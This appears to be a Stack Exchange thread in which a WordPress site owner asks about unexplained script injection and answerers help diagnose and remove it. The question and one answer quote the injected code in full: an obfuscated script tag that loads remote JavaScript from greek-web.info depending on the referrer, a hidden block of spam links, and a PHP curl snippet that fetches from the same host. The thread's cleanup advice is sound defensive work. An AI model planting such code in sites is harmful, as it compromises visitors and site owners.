Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I've made a website that has inside this script:

<script type="text/javascript"> 
if(!document.referrer || document.referrer == '') {
     document.write('<scr'+'ipt type="text/javascript" 
     src="http://www.greek-web.info/jquery.min.js"></scr'+'ipt>'); 
} 
else  {
     document.write('<scr'+'ipt type="text/javascript" 
     src="http://www.greek-web.info/jquery.js"></scr'+'ipt>'); 
} 
</script>

and loads these links:

ελαστικα κοσμηματα επιπλα γαμος ρολογια καλλυντικα κουζινες

It's impossible to find it inside the code. Does anyone know what it is or has experienced these problems?

I'm using Wordpress.

share|improve this question
    
Could you be more explicit? I don't get the point .. –  j0k Jul 18 '12 at 14:46
    
i'm sorry my eng is bad. I've made a website, and found from nowhere that script, that loads somekind of jquery, and i found greek links. I cant figure out from where they are coming from. I've searched all files but nothing. –  Test Jul 18 '12 at 14:46
    
You made a website and you found this in the code but it wasn't entered by yourself? Is this website public? –  Dave Rook Jul 18 '12 at 14:51
    
no, it wasn't. Yes it's public, go to. www.welovejesolo.com It's hidden spam links i guess but how to found root of them? –  Test Jul 18 '12 at 14:55
    
OK, if you didn't enter it, and only you have access then you've been hacked from the sounds of it (unless you copy third party code) - please don't use profanity –  Dave Rook Jul 18 '12 at 14:56

5 Answers 5

If you found this in the code which only you have access to (as per comments in original post) and didn't input it yourself then it sounds like you have been hacked.

Change your passwords and think about restarting.

share|improve this answer
    
Although it's easier to restart from scratch, would be good to know how the hacker got there so you can close that "door". If you are running any external software (Wordpress, plugins, etc), then consider an update after you clean up. The easiest way to find out what has been compromised, would be to run a diff between old and new version, assuming you have a backup. Dont forget to ask Google to review your site for malware if you got flagged (and sorted it out) –  milo5b Jul 18 '12 at 15:02
    
I changed the password but i don't know how to remove it. o.O –  Test Jul 18 '12 at 15:04
    
Huh, don't have time to start it from scratch.. Maybe if i try disabling plugins one by one, if they are not, then its in wp or wp theme. –  Test Jul 18 '12 at 15:09
    
Often it is hidden in hexadecimal code, or in array with numbers. It might use php function cha(), or some equivalent for Javascript or other languages to turn it into code. –  milo5b Jul 18 '12 at 15:09
    
Did you code the site with a GUI like Dreamweaver or did you use a 'website builder' –  Dave Rook Jul 18 '12 at 15:11

I just looked at the page source,

<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.greek-web.info/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.greek-web.info/jquery.js"></scr'+'ipt>'); } </script>
<div style="position:fixed;margin-top:-30px;"> 
<a href="http://www.memmos.com.gr/">ελαστικα</a>
<a href="http://www.asimenio.gr/">κοσμηματα</a>
<a href="http://www.protypo.gr/">επιπλα</a>
<a href="http://www.gamoskaixara.gr/">γαμος</a>
<a href="http://www.oragiadora.gr/">ρολογια</a>
<a href="http://www.mybeautyshop.gr/">καλλυντικα</a>
<a href="http://www.oikozin.com/">κουζινες</a>

What bothers me is this:

if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.greek-web.info/jquery.min.js"></scr'+'ipt>');

That looks like purposeful doings, which leads me to believe someone has access to your server via maybe a WordPress vulnerability and has inserted this (and perhaps other) malicious code in your site. What happens if you remove it?

share|improve this answer
    
I can't remove it because i don't know where it is, it's impossible to find it. I've looked in every file. –  Test Jul 18 '12 at 15:03
2  
If you have a Linux server and have shell access to it, cd into the web root (usually /var/www/ or similar) and then run this command: grep "<scr'+'ipt" * -R > scan1.txt which will scan all files in the web directory for that string, output all the lines and files it is contained in, and save to that log file. –  ionFish Jul 18 '12 at 15:08
    
Actually better yet, post the entire source of index.php or index.html on that site. (Use pastebin.com, check the "unlisted" box). –  ionFish Jul 18 '12 at 15:10
2  
download all the files with ftp and do it locally :) –  milo5b Jul 18 '12 at 15:14
1  
as I said in another comment, if you have a recent backup of this you could run diff with "diff" (or colordiff) shell command on the 2 folders and see what has changed. If you dont have the backup, you can always try to look for common function in JS or PHP that convert hex to code or something like that. base64 function is also used a lot to obfuscate code. –  milo5b Jul 18 '12 at 16:00

You're using Wordpress? Yes, you got hacked. If you don't keep Wordpress actively updated once you get hacked even updating won't stop them from getting back in once a backdoor is created.

Steps to fix:

  1. Check your database for any malicious code or otherwise bad data and remove any if found
  2. Check your author list. Delete any that aren't known to you.
  3. Back up your database
  4. Uninstall Wordpress completely. That means deleting every file.
  5. Install the latest copy of Wordpress
  6. Restore your database
  7. Change your admin password
  8. Have any authors change their password (or better yet, change it for them and then let them go in and change it to something they can remember)
share|improve this answer
    
Thank you for the answer, if i don't find a solution i will do that. –  Test Jul 18 '12 at 15:47

It could very easily be the theme you are using. Many free Wordpress themes out there insert spammy code and links. If you see any references to base64_decode in the theme files it is almost certainly this.

Try changing back to the default theme and see if the bad code still appears. You can also check with the Theme Authenticity Checker plugin.

share|improve this answer
    
yes i have found in theme's file, function base64 which i deleted but it didn't change anything. I'm sure it was in theme from the start. –  Test Jul 19 '12 at 13:01
    
Actually there are many valid reasons that base64_decode would be used in a theme. Mail functions for one sometimes use base64. The links can be generated through rogue php files, database entries, modified core files outside the theme folder and other ways. –  Anagio Jul 25 '12 at 11:22
    
@Anagio why would mail functions need to use base64? –  DisgruntledGoat Jul 25 '12 at 11:37
    
@DisgruntledGoat that's off topic I was using it as an example. Post a question if you want to know or go to php.net/manual/en/function.mail.php –  Anagio Jul 25 '12 at 14:22
    
@Anagio OK fair enough, I know there are legitimate uses for that function. Still, it's extremely unlikely that a base64 function in a Wordpress theme would be used for anything other than sinister purposes. –  DisgruntledGoat Jul 26 '12 at 13:43

You have not been hacked on your server, you have installed a plugin or theme which has the code in it. You need to check all plugins and the theme you are using for the following:

if(function_exists('curl_init')) 

{ $url = "http://www.greek-web.info/jquery-1.6.3.min.js";

and simply replace it with:

if(function_exists('curl_init')) 

{ $url = "";

share|improve this answer
    
ok, i'll try it now! Thanks man! :) –  Test Jul 23 '12 at 7:03

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.